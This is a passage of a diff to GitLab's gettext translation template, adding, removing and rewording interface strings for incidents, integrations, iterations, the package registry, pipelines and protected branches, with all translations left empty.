-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
